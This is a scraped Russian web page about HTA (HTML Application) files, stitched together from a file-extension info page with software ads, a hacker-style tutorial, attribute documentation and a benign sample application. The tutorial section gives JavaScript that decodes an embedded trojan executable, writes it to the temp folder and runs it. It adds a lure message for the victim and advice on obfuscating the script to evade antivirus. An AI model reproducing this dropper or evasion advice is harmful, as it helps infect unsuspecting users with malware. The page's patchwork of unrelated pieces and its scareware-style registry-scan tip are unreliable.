Сайт о телевидении

Сайт о телевидении

» » System Engineering - HTML-приложения

System Engineering - HTML-приложения

Главный писатель по вопросам технологий

Вам кто-то послал по электронной почте файл HTA, и вы не знаете, как его открыть? Может быть, вы нашли файл HTA на вашем компьютере и вас заинтересовало, что это за файл? Windows может сказать вам, что вы не можете открыть его, или, в худшем случае, вы можете столкнуться с соответствующим сообщением об ошибке, связанным с файлом HTA.

До того, как вы сможете открыть файл HTA, вам необходимо выяснить, к какому виду файла относится расширения файла HTA.

Tip: Incorrect HTA file association errors can be a symptom of other underlying issues within your Windows operating system. These invalid entries can also produce associated symptoms such as slow Windows startups, computer freezes, and other PC performance issues. Therefore, it highly recommended that you scan your Windows registry for invalid file associations and other issues related to a fragmented registry.

Ответ:

Файлы HTA имеют Исполнимые файлы, который преимущественно ассоциирован с Hypertext Application.

Файлы HTA также ассоциированы с Hemera Thumbnail Archive (Hemera Technologies Inc.), Tonline BSW4 File и FileViewPro.

Иные типы файлов также могут использовать расширение файла HTA. Если вам известны любые другие форматы файлов, использующие расширение файла HTA, пожалуйста, свяжитесь с нами , чтобы мы смогли соответствующим образом обновить нашу информацию.

Как открыть ваш файл HTA:

Самый быстрый и легкий способ открыть свой файл HTA - это два раза щелкнуть по нему мышью. В данном случае система Windows сама выберет необходимую программу для открытия вашего файла HTA.

В случае, если ваш файл HTA не открывается, весьма вероятно, что на вашем ПК не установлена необходимая прикладная программа для просмотра или редактирования файлов с расширениями HTA.

Если ваш ПК открывает файл HTA, но в неверной программе, вам потребуется изменить настройки ассоциации файлов в вашем реестре Windows. Другими словами, Windows ассоциирует расширения файлов HTA с неверной программой.

Установить необязательные продукты - FileViewPro (Solvusoft) | | | |

HTA Инструмент анализа файлов™

Вы не уверены, какой тип у файла HTA? Хотите получить точную информацию о файле, его создателе и как его можно открыть?

Теперь можно мгновенно получить всю необходимую информацию о файле HTA!

Революционный HTA Инструмент анализа файлов™ сканирует, анализирует и сообщает подробную информацию о файле HTA. Наш алгоритм (ожидается выдача патента) быстро проанализирует файл и через несколько секунд предоставит подробную информацию в наглядном и легко читаемом формате.†

Уже через несколько секунд вы точно узнаете тип вашего файла HTA, приложение, сопоставленное с файлом, имя создавшего файл пользователя, статус защиты файла и другую полезную информацию.

Чтобы начать бесплатный анализ файла, просто перетащите ваш файл HTA внутрь пунктирной линии ниже или нажмите «Просмотреть мой компьютер» и выберите файл. Отчет об анализе файла HTA будет показан внизу, прямо в окне браузера.

Перетащите файл HTA сюда для начала анализа

Просмотреть мой компьютер »

Пожалуйста, также проверьте мой файл на вирусы

Ваш файл анализируется... пожалуйста подождите.

Как-то раз я, листая MSDN, совершенно случайно наткнулся на
описание одной технологии, которая, как выяснилось, поддерживается еще
со времен 5-й версии MSIE. Назвается она HTML Applications. Суть в том,
что если html-контент сохранить в файл с расширением.hta и между
и вставить специальный тег , то к этому контенту
не применяются никакие ограничения, связанные с безопасностью, т. е. на странице могут присутствовать любые элементы управления, скрипты могут
создавать любые COM-объекты, писать в любые файлы и получать доступ к
контенту во фреймах, независимо от того, из какого домена он был
загружен. Это дает возможность создавать
полнофункциональные приложения с HTML-интерфейсом. Если же JavaScript не подходит для отдельных частей
программы, то их можно реализовать в виде ActiveX объектов, а DHTML
использовать только для создания GUI. Очевидно, эта технология появилась
вследствие тенденции использования движка MSIE, где надо и где не надо. О безопасности
мелкомягкие тоже подумали. Простая вставка тега
не превращает пагу в доверенный источник. Если открыть
ссылку на hta-файл, то, как и при открытии exeшников из инета,
появляется диалог с кнопками «Открыть», «Сохранить» и
т.д., предупреждающий, что этот контент может представлять опасность.
Всё правильно, но опытный распространитель троянов сумеет впарить такой
файл юзверю, не знающему об этой технологии. А уж возможностей скриптов
и компонентов, установленных на любой windows-тачке,
достаточно, чтобы скачать и установить какую-нибудь прогу, прописаться в автозагрузке и
даже стереть все файлы, если это доступно текущему пользователю. HTA-файл может быть вполне работоспособным и полезным
приложением. Хотя использовать эту технологию в коммерческом софте
трудно, поскольку HTML/JavaScript исполняется в виде исходника и,
следовательно, не может содержать платных или секретных алгоритмов.

Атрибуты тега APPLICATION

Этот тег не может содержать внутри себя никаких тегов или
текста, но требует закрывающего тега. Можно писать так:

, а можно так:
, как в XML.

У тега APPLICATION есть довольно много атрибутов, с помощью
которых устанавливаются свойства окна. Все они необязательны, и если
тебе безразличен вид окна твоего приложения, то можешь их не указывать. Атрибуты доступны из скриптов, что позволяет изменять свойства
окна, сворачивать/разворачивать и т.д. Вот список атрибутов с краткими пояснениями:

applicationName — имя приложения
version — его версия
border — тип границы окна
borderStyle — стиль границы
caption — показывать ли заголовок окна
commandLine — возвращает аргументы командной строки
contextMenu — показывать ли контекстное меню
icon — иконка окна
innerBorder — внутренная 3D-рамка
maximizeButton,
minimizeButton,
sysMenu — показывать ли соответствующие кнопки
navigable — открывать ссылки в том же окне
scroll,
scrollFlat — свойства скроллбара
selection — разрешать выделение
showInTaskBar — show in taskbar
singleInstance — только один экземпляр может быть запущен
windowState — состояние окна

Старт из HTML

Теперь конкретный пример того, что можно сделать, имея
возможность впарить юзеру HTA-файл. Допустим, у тебя есть готовый
троян в виде exe-файла, и тебе не терпится совместить его с новой
технологией. Трояны обычно бывают маленькими, и, думаю, что ничего страшного
не произойдет, если размер нашего HTML-приложения будет немного больше.
Для того, чтобы вставить бинарные данные в текст, нам потребуется их
закодировать. В JavaScript поддерживается стандартное кодирование урлов.
Этот метод годится только, если нетекстовых символов в коде мало. Если
их много (а так обычно бывает, так как внутри ехе-файлов заголовки и
секции дополняются нулами для выравнивания), то этот метод не самый
хороший. В худшем случае код будет втрое длиннее исходного. Гораздо
лучше было бы заюзать кодировку base64, при которой размер любых данных
увеличивается на 33%, но я не нашел в JavaScript встроенных
средств кодирования и декодирования по base64, а реализовывать их прямо на
JavaScript как-то некрасиво, имхо. Так что кодировать будем функцией
escape(), а декодировать — unescape(). Эксперимент показывает, что эти
функции работают со строками любой длины. Так что можно записать весь
экзешник одной строковой константой в скрипте.

Итак, алгоритм, который нужно реализовать в скрипте, такой:

1) Раскодировать содержимое исполняемого файла
2) Записать его
3) Запустить

Отметим один момент: важно не лопухнуться с выбором места для
файла. Если юзер не админ, то записать файл куда-попало не получится.
Нужно узнать от системы путь, например, папки temp (а это мы сделаем
тоже средствами JavaScript), и записать файл туда.

Итак, затрояненный HTA-файл может выглядеть примерно так.


code = «MZ%90%00%03%00%00%00%04 …… «; // Закодированный троян

var fso = new ActiveXObject(«Scripting.FileSystemObject»);

var tf = fso.GetSpecialFolder(2); // Получим windows\temp
var fn = tf + «\\x.exe»; // Добавим имя файла

var a = fso.CreateTextFile(fn, true); // Запишем в файл тело трояна
a.Write(unescape(code));
a.Close();

var WshShell = new ActiveXObject(«WScript.Shell»);
WshShell.Exec(fn); // Запустим его




Привет, чувак!
TheBat не показывает картинки, так что открой этот файл в Ехплорере.

Неплохо еще защитить скрипт от обнаружения антивирусом.
Существуют проги, изменяющие скрипты до неузнаваемости. Они называются
obfuscators (подробнее о них можешь прочитать в ). Microsoft предлагает свой обфускатор — Windows Script
Encoder. Он шифрует скрипты, а расшифровщик встроен в состему.
Инструкция честно предупреждает, что Windows Script Encoder не защитит
код от целеустремленного хакера. От хакера, может, и не защитит, а от
антивируса защитит. Нужно только скормить ему готовый HTA-файл,
и вместо скрипта появится какая-то абракадабра, а вместо
«JavaScript» будет написано «JavaScript.Encoded». Нельзя забывать о том, что ехе-компоненту тоже необходимо
сделать неузнаваемой, так как она записывается на диск, и при этом
может быть обнаружена антивирусным монитором.

- Расширение (формат) - это символы в конце файла после последней точки.
- Компьютер определяет тип файла именно по расширению.
- По умолчанию Windows не показывает расширения имен файлов.
- В имени файла и расширении нельзя использовать некоторые символы.
- Не все форматы имеют отношение к одной и той же программе.
- Ниже находятся все программы с помощью которых можно открыть файл HTA.

XnView - довольно мощная программа, сочетающая в себе множество функций по работе с изображениями. Это может быть и простой просмотр файлов, и их конвертирование, и незначительная обработка. Является кроссплатформенной, что позволяет использовать её практически в любой системе. Программа уникальна ещё и тем, что поддерживает около 400 различных форматов изображений, среди которых встречаются как самые используемые и популярные, так и нестандартные форматы. XnView может производить пакетную конвертацию изображений. Правда, сконвертировать их можно только в 50 форматов, но среди этих 50 форматов присутствуют все популярные расшир...

Многие пользователи MS Windows давно успели заметить, что стандартный блокнот - это довольно неудобная в своем использовании программа. Заменой ей может стать данный бесплатный редактор текстовых файлов, обеспечивающий поддержку синтаксиса большого количества языков программирования. Программа содержит в себе довольно широкий набор опций и отличается минимальным потреблением ресурсов процессора. Программа делает возможным одновременный просмотр нескольких документов сразу и редактирование их, без закрытия лишних окон. Доступной стала и такая опция, как редактирование одного и того же документа в разных местах, что очень удобно...

Notepad2 – простое приложение, позволяющее печатать и редактировать текст. Она поможет в создании HTML-страниц, программировании на различных языках (CSS, Java, JavaScript, Python, SQL, Perl, PHP) так как способна подсвечивать код. Программа построена по принципу простого блокнота, она маловесна и компактна. Этот текстовый редактор проверяет все скобки на наличие пары, поддерживает авто отступы. Программа Notepad2 не только поддерживает кодировки ASCII и UTF-8, но и умеет их конвертировать. Позволяет откатывать нежелательные операции на много уровней назад. Поддерживает блочное выделение элементов текста и имеет нумерованные ст...

XnConvert – полезная утилита для конвертирования и первичной обработки фотографий и изображений. Работает с 400+ форматами. Поддерживает все популярные графические форматы. С помощью простых инструментов XnConvert можно регулировать яркость, гамму и контрастность. В приложении можно менять размер фотографий, накладывать фильтры и ряд популярных эффектов. Пользователь может добавлять водяные знаки и заниматься ретушью. При помощи приложения можно удалять мета-данные, обрезать файлы и вращать их. XnConvert поддерживает журнал, в котором пользователь увидит всю подробную информацию о своих недавних манипуляциях с изображениями.

В интернете очень много программ, позволяющих редактировать исходный код другой программы, файла и др. Однако большинство из подобных программ являются всего лишь текстовым редактором наподобие блокнота. Отличаются они от вышеуказанного редактора лишь тем, что имеют подсветку синтаксиса. Однако в некоторых случаях, такого функционала программы оказывается недостаточно. Программисту бывает необходимо быстро находить различные части документа. И вот, наконец-то, в появилась программа, позволяющая решить эту проблему. Программа называется SynWrite. Её отличительная особенность – наличие навигационной панели с деревом, котор...

Формат HTA или как веб-страничку превратить в программу

Ну так вот. Открыв файлик *.hta тектовым редактором, я, как и ожидал, увидел кучу тегов. Все, вроде, понятно и доступно. Единственное отличие - поле в разделе HEAD . В этом поле указываются параметры, относящиеся к внешнему виду окна, в котором будет отображаться HTML содержимое, поскольку, файлик *.hta является вполне себе самодостаточным и не требует ничего, кроме наличия на компьютере ослика IE версии > 5.0. А параметры там вот такие:


APPLICATIONNAME
Атрибут - APPLICATIONNAME, свойство - applicationName. Содержит имя приложения. Это свойство доступно только для чтения и не имеет значения по умолчанию. Если свойство singleInstance установлено в true, значение applicationName автоматически проверяется перед запуском экземпляра приложения. Чтобы проверка была успешной, значение applicationName должно быть уникальным. Таким образом, значение свойства applicationName используется для идентификации единственности запущенного приложения, независимо от адреса URL, используемого для доступа к нему. BORDER
Атрибут - BORDER, свойство - border. Содержит тип бордюра окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "thick". Свойство border влияет на толщину бордюра и действительно только для окон HTA, у которых есть панель заголовка и сам заголовок. Устанавливая border в "none", вы убираете панель заголовка, иконку программы, и кнопки максимизирования и минимизирования. Это свойство может быть использовано со свойством borderStyle.
Возможные значения:
thick По умолчанию. Толстый бордюр окна, плюс бордюр для изменения размера окна.
dialog Бордюр диалогового окна.
none Окно без бордюра.
thin Тонкий бордюр окна с заголовком.
BORDERSTYLE
Атрибут - BORDERSTYLE, свойство - borderStyle. Содержит стиль бордюра клиентской области окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "normal". Свойство borderStyle устанавливает стиль для бордюра содержимого окна, в то время как свойство border контролирует бордюр окна приложения.
Возможные значения:
normal По умолчанию. Нормальный бордюр.
complex Приподнятый и утопленный бордюр.
raised Приподнятый 3-D бордюр.
static 3-D бордюр, обычно используемый для окон, не обрабатывающих ввод пользователя.
sunken Утопленный 3-D бордюр. CAPTION
Атрибут - CAPTION, свойство - caption. Определяет, будет ли в окне HTML приложения отображаться панель заголовка. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Заголовок приложения (title) отображается только тогда, когда свойство caption установлено в yes. Отключение свойства caption также отключит кнопки "Свернуть", "Развернуть" и программную иконку. В этом случае вы должны предоставить альтернативный способ выхода из приложения, например, кнопку, вызывающую метод close объекта window.
Возможные значения:
yes По умолчанию. Панель заголовка отображается.
no Панель заголовка не отображается. COMMANDLINE
Свойство - commandLine. Строка, которая содержит путь и параметры командной строки, которые использовались для запуска HTA-приложения. Это свойство доступно только для чтения и не имеет значения по умолчанию. Если HTA-приложение было запущено с использованием HTTP протокола, свойство commandLine содержит пустую строку.
CONTEXTMENU
Атрибут - CONTEXTMENU, свойство - contextMenu. Определяет, появляется ли контекстное меню при нажатии на правую кнопку мыши. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Контекстное меню появляется.
no Контекстное меню не появляется. ICON
Атрибут - ICON, свойство - icon. Определяет путь к файлу иконки, используемой в HTML приложении. Это свойство доступно только для чтения и имеет значение по умолчанию "System Application Icon". HTA использует системную иконку, если значение не определено. Атрибут icon распознаёт стандартные файлы с расширением.ico, содержащие изображение размером 32x32 пиксела. INNERBORDER
Атрибут - INNERBORDER, свойство - innerBorder. Определяет, отображается ли внутренняя 3-D граница. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Внутренняя 3-D граница отображается.
no Внутренняя 3-D граница не отображается. MAXIMIZEBUTTON
Атрибут - MAXIMIZEBUTTON, свойство - maximizeButton. Определяет, отображается ли кнопка "Развернуть" на панели заголовка окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Для того, чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption).
Возможные значения:
yes По умолчанию. Кнопка "Развернуть" отображается.
no Кнопка "Развернуть" не отображается. MINIMIZEBUTTON
Атрибут - MINIMIZEBUTTON, свойство - minimizeButton. Определяет, отображается ли кнопка "Свернуть" на панели заголовка окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Для того, чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption).
Возможные значения:
yes По умолчанию. Кнопка "Свернуть" отображается.
no Кнопка "Свернуть" не отображается. NAVIGABLE Атрибут - NAVIGABLE, свойство - navigable. Определяет, в каком окне будут открываться загружаемые документы: в основном окне HTML приложения, или в новом окне. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
Возможные значения:
no По умолчанию. Будут открываться в новых окнах.
yes Будут открываться в основном окне. SCROLL
Атрибут - SCROLL, свойство - scroll. Определяет, будут ли отображаться полосы прокрутки. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Установка значения свойства body.scroll равным "no" - это альтернативный способ предотвратить появление полос прокрутки.
Возможные значения:
yes По умолчанию. Полосы прокрутки отображаются.
no Полосы прокрутки не отображаются.
auto Полосы прокрутки появляются только тогда, когда содержимое документа не умещается в клиентской области окна. SCROLLFLAT
Атрибут - SCROLLFLAT, свойство - scrollFlat. Определяет, в каком виде будут отображаться полосы прокрутки: в 3-х мерном, или в 2-х мерном виде. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
Возможные значения:
yes Полосы прокрутки двухмерные.
no По умолчанию. Полосы прокрутки трёхмерные. SELECTION
Атрибут - SELECTION, свойство - selection. Определяет, может ли содержимое документа быть выбрано мышкой или с помощью клавиатуры. Присвоение атрибуту SELECTION значения "no" запрещает появление контекстного меню. В этом случае присвоение атрибуту CONTEXTMENU значения "yes" не произведёт никакого эффекта. Использование в документе редактируемых элементов переопределяет значение selection. Любой объект может быть выбран, когда значение свойства contentEditable установлено в true где угодно в HTML приложении. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Содержимое может быть выбрано.
no Содержимое не может быть выбрано. SHOWINTASKBAR
Атрибут - SHOWINTASKBAR, свойство - showInTaskBar. Определяет, будет ли HTML приложение появляться на панели задач Windows. Свойство showInTaskBar не влияет на появление приложения в списке приложений, который появляется, когда пользователь нажимает ALT+TAB. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Приложение отображается на панели задач.
no Приложение не отображается на панели задач. SINGLEINSTANCE
Атрибут - SINGLEINSTANCE, свойство - showInTaskBar. Определяет, может ли быть запущенно больше одного экземпляра HTML приложения одновременно. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
Возможные значения:
yes Только один экземпляр приложения может быть запущен.
no По умолчанию. Может быть запущенно несколько экземпляров приложения одновременно. SYSMENU
Атрибут - SYSMENU, свойство - sysmenu. Определяет, отображается ли системное меню в HTML приложении. Системное меню HTA обозначается программной иконкой в левом углу панели заголовка. Системное меню HTA показывает все команды, входящие в стандартное системное меню Windows, включая "Восстановить", "Переместить", "Размер", "Свернуть", "Развернуть", и "Закрыть". Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
Возможные значения:
yes По умолчанию. Системное меню отображается в панели заголовка.
no Системное меню не отображается в панели заголовка. VERSION
Атрибут - VERSION, свойство - version. Определяет номер версии HTML приложения (строка). Это свойство доступно только для чтения и не имеет значения по умолчанию. WINDOWSTATE
Атрибут - WINDOWSTATE, свойство - windowState. Определяет начальные размеры окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "normal".
Возможные значения:
normal По умолчанию. Размер окна - стандартный размер для Microsoft Internet Explorer.
minimize Появляется только заголовок окна на панели задач.
maximize Окно появляется развёрнутым во весь экран.

А возможность использования в таких файлах Java и VB скриптов позволяет делать вообще все что угодно. Кроме того, исполняются они в зоне "Мой компьютер", как и обычные приложения, что существенно снижает требования к безопасности скриптов со стороны IE.
В общем, приложив немного фантазии я накатал простенькую менюшку для запуска приложений с флешки, которую и выкладываю тут. Смотрите, разбирайтесь.

HTA (HTML Application) - это простая технология, позволяющая создавать полезные приложения даже без знания серьезных языков программирования.

Создать HTA-приложение можно, просто написав HTML-страницу и сохранив ее с расширением .hta , которое обрабатывается программой mshta.exe , её задача - обеспечить связь программы с браузером. Так как такие приложения используют движок браузера, то они объединяют в себе все их возможности - их объектную модель, разметку страницы (HTML), каскадные листы стилей (CSS), скрипты (VBS и JS). Также на такие приложения не накладывается ограничения безопасности - они работают как любой исполняемый файл.

То есть при помощи HTML создается абсолютно любой пользовательский интерфейс, причем с минимальными усилиями и без каких-либо существенных ограничений, логика программы организуется кодом на Java Script или Visual Basic Script, а само приложение выходит за рамки браузера - программа на стадии выполнения ничем не будет отличаться от обычных оконных приложений для Windows - запущенное приложение будет присутствовать на панели задач, иметь собственные окно, меню и значок. Хотя здесь нужно оговориться: программа не будет видна среди запущенных приложений в диспетчере задач, единственное средство, которым можно контролировать запущенную программу - это процесс mshta.exe.

В то время, как расширение .hta указывает системе как работать с приложением, новый тег и аттрибуты указывают окну, как себя вести будучи приложением. Этот тег предоставляет ограниченный набор аттрибутов, управляющих всем от стиля границы окна и до программной иконки и меню. Для создания функционирующего HTA, этот тег должен быть описан внутри тега HEAD .

Элемент HTA:APPLICATION требует закрывающего тега.

... Так как тэг элемента HTA:APPLICATION является пустым, он также может быть закрыт использую следующий прием.

При использовании вышеуказанного приема, прямому слэшу (/) должен предшествовать пробельный символ.

Помимо управлением окном приложения, этот тег также дает возможность обращаться к свойствам приложения из скриптов, расположенных в коде HTA-приложения. Стоит заметить, что все свойства этого тега доступны только для чтения.

Атрибут и свойство id

Определяет идентификатор объекта - уникального имени внутри файла HTA-приложения.

Атрибут и свойство applicationName

Содержит имя приложения. Свойство не имеет значения по умолчанию.

Будучи установленным в true , свойство singleInstance проверяет значение applicationName перед запуском экземпляра приложения. Чтобы проверка была успешной, значение applicationName должно быть уникальным. Можно использовать значение свойства applicationName для идентификации единственности запущенного приложения, независимо от адреса URL, используемого для доступа к нему.

Атрибут и свойство border

Содержит тип бордюра окна. Свойство border влияет на толщину бордюра и действительно только для окон HTA , у которых есть панель заголовка и сам заголовок. Устанавливая border в "None", вы убираете панель заголовка, иконку программы, и кнопки максимизирования и минимизирования. Это свойство может быть использовано совместно со свойством borderStyle . Возможные значения:

Примечание

Если не указать параметр BORDER или указать BORDER="thick" , то размеры окна программы можно будет изменять при помощи мыши, в остальных же случаях, - размеры окна изменить нельзя.

Атрибут и свойство borderStyle

Содержит стиль бордюра клиентской области окна. Свойство borderStyle устанавливает стиль для бордюра содержимого окна, в то время как свойство border контролирует бордюр окна приложения. Возможные значения:

Атрибут и свойство caption

Определяет, будет ли в окне HTML приложения отображаться панель заголовка. Заголовок приложения отображается только тогда, когда свойство caption установлено в "Yes". Отключение свойства caption также отключит кнопки "Свернуть", "Развернуть" и программную иконку. В этом случае нужно не забыть предоставить альтернативный способ выхода из приложения, например, кнопку "Закрыть" на форме приложения, вызывающую метод Window.Close . Возможные значения:

Свойство commandLine

Строка, которая содержит путь и параметры командной строки, которые использовались для запуска HTA-приложения. Если HTA-приложение было запущено с использованием HTTP протокола, свойство CommandLine содержит пустую строку.

Атрибут и свойство contextMenu

Определяет, появляется ли контекстное меню при нажатии на правую кнопку мыши. Возможные значения:

Атрибут и свойство icon

Определяет путь к файлу иконки, используемой в HTML приложении. HTA использует системную иконку, если значение не определено. Атрибут Icon распознаёт стандартные файлы с расширением.ico , содержащие изображение размером 32x32 пикселя, а также успешно распознаёт первую иконку из файлов "*.exe", "*.icl" (библиотека иконок), "*.dll", и "*.ocx".

Атрибут и свойство innerBorder

Определяет, отображается ли внутренняя 3-D граница. Возможные значения:

Атрибут и свойство maximizeButton

Определяет, отображается ли кнопка "Развернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption). Возможные значения:

Атрибут и свойство minimizeButton

Определяет, отображается ли кнопка "Свернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption). Возможные значения:

Атрибут и свойство navigable

Определяет, в каком окне будут открываться загружаемые документы. Возможные значения:

Атрибут и свойство scroll

Определяет, будут ли отображаться полосы прокрутки. Возможные значения:

Атрибут и свойство scrollFlat

Определяет, в каком виде будут отображаться полосы прокрутки. Возможные значения:

Атрибут и свойство selection

Определяет, может ли содержимое документа быть выбрано мышкой или с помощью клавиатуры. Значение "No" запрещает появление контекстного меню и присвоение атрибуту contextMenu значения "Yes" не произведёт никакого эффекта. Возможные значения:

Атрибут и свойство showInTaskBar

Определяет, будет ли HTML приложение появляться на панели задач Windows. Возможные значения:

Атрибут и свойство singleInstance

Определяет, может ли быть запущенно больше одного экземпляра HTML приложения одновременно. Возможные значения:

Атрибут и свойство sysMenu

Определяет, отображается ли системное меню в HTML приложении. Системное меню HTA обозначается программной иконкой в левом углу панели заголовка. Системное меню HTA показывает все команды, входящие в стандартное системное меню Windows, включая "Восстановить", "Переместить", "Размер", "Свернуть", "Развернуть", и "Закрыть". Возможные значения:

Атрибут и свойство version

Определяет номер версии HTML приложения.

Атрибут и свойство windowState

Определяет начальные размеры окна HTML приложения. Возможные значения:

Пример

В этом маленьком примере объединены объектная модель, разметка страницы (HTML), каскадный лист стилей (CSS), Javascript и элементы WSH.

В папке "MyHTA_files" размещаются следующие файлы:

  • text.txt- любой текстовый файл;
  • test.js- файл, содержащий только одну строку: WScript.Echo ("Hello script!");
  • MyHTA.ico - любая иконка;
  • MyHTA.css - файл стилей;
  • MyHTA.js- файл, содержащий все скрипты.
Листинг файла "MyHTA.hta" Моё HTA-приложение
Моё HTA-приложение
Добро пожаловать
Листинг файла "MyHTA_files\MyHTA.js" // Процедура инициализации окна формы function WindowOnLoad () { var iWidth = 800, iHeight = 500; // Размер окна // Изменение размера окна и его центрирование var iLeft = (screen.availWidth - iWidth) / 2; var iTop = (screen.availHeight - iHeight) / 2; focus(); resizeTo (iWidth, iHeight); moveTo (iLeft, iTop); // Вывод версии приложения на форму Version_Div.innerHTML = "Версия: " + oHTA.Version; } var attributes = ["id","", "applicationName","", "border","Thick", "borderStyle","Normal", "caption", "Yes", "commandLine","Yes", "contextMenu","", "icon","", "innerBorder","Yes", "maximizeButton","Yes", "minimizeButton","Yes", "navigable","No", "scroll","Yes", "scrollFlat","No", "selection","Yes", "showInTaskBar","Yes", "singleInstance","No", "sysMenu","Yes", "version","", "windowState","Normal" ]; function RunApplication(sApplication) { var sCommandLine = ""; var oShell = new ActiveXObject("WScript.Shell"); switch (sApplication) { case "CommandPrompt": sCommandLine = "%ComSpec%"; DynamicContent_Div.innerHTML = "Командная строка открыта"; break; case "TestScript": if (CheckFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.js")) { sCommandLine = "WScript "" + oShell.CurrentDirectory + "\\MyHTA_files\\Test.js""; DynamicContent_Div.innerHTML = "Скрипт " + oShell.CurrentDirectory + "\MyHTA_files\Test.js" + " выполнен"; } else DynamicContent_Div.innerHTML = "Файл не найден"; break; case "TextFile": if (CheckFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt")) { DynamicContent_Div.innerHTML = "Выберите режим отображения содержимого файла:
    " + "" + ""; } else DynamicContent_Div.innerHTML = "Файл не найден"; break; case "TextFile_Form": DynamicContent_Div.innerHTML = "Текстовый файл: " + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt" + "Закрыть" + "" + ReadFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt") + ""; break; case "TextFile_Notepad": sCommandLine = "Notepad "" + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt""; DynamicContent_Div.innerHTML = "Файл " + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt" + " открыт в блокноте"; break; case "TextFile_Close": DynamicContent_Div.innerHTML = "Добро пожаловать"; break; case "TempDir": sCommandLine = "Explorer " + oShell.ExpandEnvironmentStrings("%Temp%"); DynamicContent_Div.innerHTML = "Папка временных файлов открыта"; break; case "Attributes": var s = "Атрибуты (Свойства)"; for (var i=0; i < attributes.length; i+=2) s += ""+ attributes[i]+ " = " + (oHTA] || attributes) + "
    "; DynamicContent_Div.innerHTML = s + ""; break; case "default": sCommandLine =""; break; } if (sCommandLine.length > 0) oShell.Run (sCommandLine,1,0); } function ReadFile(sFileName) { var oFSO = new ActiveXObject("Scripting.FileSystemObject"); var oInFile = oFSO.OpenTextFile(sFileName, 1, false, 0) var sFileContent = oInFile.ReadAll(); oInFile.Close(); return sFileContent; } function CheckFile(sFilePath) { var oFSO = new ActiveXObject("Scripting.FileSystemObject") return oFSO.FileExists(sFilePath) ? true: false; } Листинг файла "MyHTA_files\MyHTA.css" body { background-color: buttonface; font-family: Tahoma; } h1 { font-size: 18px; margin: 0px;} table { height: 100%; width: 100%; } .Header_Row { height:40px; } .Content_Row { vertical-align: top; } #StaticMenu_Cell { width: 20%; text-align: center; } #StaticMenu_Cell input { width: 150px; margin: 2px; } #DynamicContent_Cell { margin: 2px; } #DynamicContent_Cell #DynamicContent_Div { text-align: center; } .NormalLink { font-family: Tahoma; font-size: 10pt; color: navy; cursor: pointer; text-align: left; padding-right: 20px } .NormalLink:hover { color: red; } #DynamicContent_Cell #DynamicContent_Div .TextFile { font-family: Tahoma; font-size: 10pt; text-align: left; margin-top: 10px; } .Footer_Row { height:30px; } #Version_Div { float: left; } #Button_Div { float: right; } .attr { text-align: left; font-size: 10pt; margin-left:20px; }